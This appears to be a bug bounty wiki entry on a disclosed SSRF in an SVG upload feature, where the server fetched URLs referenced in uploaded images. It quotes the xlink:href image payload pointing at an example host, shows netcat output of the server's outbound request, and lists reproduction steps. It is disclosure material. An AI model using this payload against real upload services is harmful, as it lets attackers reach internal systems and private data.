SVG parser loads external resources on image upload
An SVG image upload feature allowed an attacker to make the server fetch external resources by including an image element with an external URL. An attacker could use this to probe internal networks or make the server send requests to arbitrary hosts.
- Triaged in 6 days
- Fixed in 7 months
- Paid in 7 months
- Disclosed after 7 months
Uploading SVG that include
<image xlink:href="http://example.com/?evil=var" />
will cause the server side parser to try to fetch external resources.
I've tested in two ways. Creating an svg with an external loaded public google image that was rendered perfectly.
Also tested a private server with nc and created an svg that uses xlink for private url. I uploaded the svg and nc output was this.
Listening on [0.0.0.0] (family 0, port 3001)
Connection from [23.227.55.103] port 3001 [tcp/*] accepted (family 2, sport 49391)
GET /?evil=var HTTP/1.0
Host: 37.139.18.151:3001
Accept-Encoding: gzip
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Ability to upload an SVG file
How it was found
- Create an SVG file that references an external URL using an image element.
- Upload the SVG to the vulnerable image upload feature.
- Observe that the server makes an HTTP request to the referenced URL.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you upload an SVG, the server parses it and follows links inside the file, so an attacker could make the server visit a web address they chose. This is dangerous because the server might reach private systems.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.